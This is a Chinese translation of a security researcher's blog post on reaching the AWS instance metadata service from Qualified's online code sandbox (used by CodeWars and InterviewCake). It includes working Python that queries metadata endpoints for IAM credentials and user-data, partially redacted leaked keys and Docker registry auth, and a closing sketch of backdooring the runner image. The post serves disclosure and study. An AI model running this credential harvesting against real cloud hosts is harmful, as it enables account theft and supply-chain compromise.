文中有一些个人拙见,还望各位在评论区批评指针,原文地址:https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/

最近在研究在 Docker 容器中执行不受信任的 Python 代码会出现什么反应。在研究过程中我测试了几个在线代码执行引擎,以了解它们对各种攻击的反应。在此过程总,我在Qualified开发的代码执行引擎中发现了几个有趣的漏洞。

Qualified 被广泛使用,包括CodeWarsInterviewCake等网站。能够运行代码与网络访问,且在 Amazon Web Services 中运行。

漏洞细节

如果您浏览 InterviewCake 的留言页面,您会在页面底部找到一个小区域,您可以在其中输入和执行代码。
avatar

我们可以使用以下 Python 代码来运行任何 bash 命令:

os.system( "命令" )

简单挖掘后,我们可以看到每次运行时主机名都会发生变化,并且 init进程在以下控制组下运行:

9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 
...

根据上述查到的信息,可以推断:代码很大可能是在Docker 容器中运行。这些容器似乎可以访问 Internet,因此我们可以轻松地检查它们的公共 IP 是什么,例如使用非常方便的 IfConfig.co服务。
相关命令如下:

import os
os.system("curl ifconfig.co")

如果我们进行反向 DNS 查找,我们可以看到这个 IP 属于 AWS EC2:

$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.

如果不了解AWS EC2,可以把它看作是一项类似于 DigitalOcean 的服务,可让您在云中生成虚拟机。

利用

AWS EC2 有一个称为 实例元数据服务(官方文档)的功能。这使任何 EC2 实例都可以访问在 169.254.169.254 上运行的 REST API,该 API 返回有关实例本身的数据。一些示例包括实例名称、实例映像 (AMI) ID 和一堆其他有趣的东西。

由于我们的代码似乎在 EC2 实例上运行(或者更具体地说,在 EC2 实例上的 Docker 容器中),它可以访问此 API。当输入下述恶意代码时,观察一下返回情况:

import os

def get_endpoint(endpoint):
    os.system("curl http:/169.254.169.254" + endpoint)
    print()

print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")

print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")

print("[*] User script")
get_endpoint("/latest/user-data/")

输出如下:

[*] AMI id
ami-246cc332

[*] Security credentials
ecsInstanceRole

[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac

简单解析一下:

  1. AMI id

这是主机使用的标识符 AMI(亚马逊机器映像)。(此处似乎是一个私人的,没有利用价值。)

  1. Security credentials

这是附加到机器的 IAM 角色列表。IAM(代表身份访问管理)是 AWS 服务,允许您管理用户、角色和权限。我们在这里看到这个机器被添加了一个角色 ecsInstanceRole,因此可以使用元数据 API 访问该角色的凭据。

这是一种允许您将角色附加到 机器而不是将 AWS API 密钥硬编码到应用程序代码中的机制。我们可以查询 API 以获取关联的凭据:

get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")

反馈如下:

{
 "Code" : "Success",
 "LastUpdated" : "2017-03-26T09:59:42Z",
 "Type" : "AWS-HMAC",
 "AccessKeyId" : "ASIAIR[redacted]XQ",
 "SecretAccessKey" : "42oRmJ[redacted]K2IRR",
 "Token" : "FQoDYXdzEOv//////[redacted]",
 "Expiration" : "2017-03-26T16:29:16Z"
}

使用这些凭证,应用程序(或攻击者)可以使用 AWS API 执行角色 ecsInstanceRole 允许的任何操作。

注:这里ECS代表EC2 Container Service。它(还)是另一项 AWS 服务,可让您轻松地在云中运行 Docker 容器,并抽象出它们的运行方式和运行方式。

当我们深入研究AWS文档,我们很容易发现 ecsInstanceRole是一个默认的 IAM 角色,并附有以下权限:

{
 "Version": "2012-10-17",
   "Statement": [
   {
     "Effect": "Allow",
     "Action": [
       "ecs:CreateCluster",
       "ecs:DeregisterContainerInstance",
       "ecs:DiscoverPollEndpoint",
       "ecs:Poll",
       "ecs:RegisterContainerInstance",
       "ecs:StartTelemetrySession",
       "ecs:Submit*",
       "ecr:GetAuthorizationToken",
       "ecr:BatchCheckLayerAvailability",
       "ecr:GetDownloadUrlForLayer",
       "ecr:BatchGetImage",
       "logs:CreateLogStream",
       "logs:PutLogEvents"
     ],
   "Resource": "*"
   }
 ]
}

因此,这允许我们做很多有趣的事情,包括创建 ECS 集群、从集群中删除 EC2 实例、写入应用程序的日志等。

  1. User script

此端点返回一个用户定义的脚本,每次首次启动新的 EC2 实例时都会运行该脚本。此脚本通常用于基本配置,例如更新包、运行服务,并且显然有时用于存储敏感信息(此方式不推荐)。

脚本核心部分如下:

aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...redacted...]ac

浅浅解析一下:
最后一行泄露了 NewRelic 许可证密钥。

尝试查看配置文件:

root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config

ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}

注意:

第一个命令是从 ecs-conf S3 存储桶下载配置文件。使用 AWS CLI 工具,我们注意到即使无法列出存储桶的内容,文件ecs.config 甚至是可公开访问的。

结果解析:

auth参数是一个 base-64 编码的字符串,它解码为 codewarsdeploy :somepassword (密码已被编辑)并允许我们登录到 Qualified! 的私有 Docker 注册表。

总结:

这意味着我们可以检索 Docker 镜像codewars/runner-server,查看里面有什么,在其中包含一个后门/任何恶意软件,然后将其写入注册表。

然后,每当有人在 InterviewCake 上提交解决方案,在 CodeWars 上提出挑战等情境下,都会在 Qualified 的代码执行引擎上进行一次代码执行时,我们的恶意代码便会运行。

6 天 后
2 年 后
说点什么吧...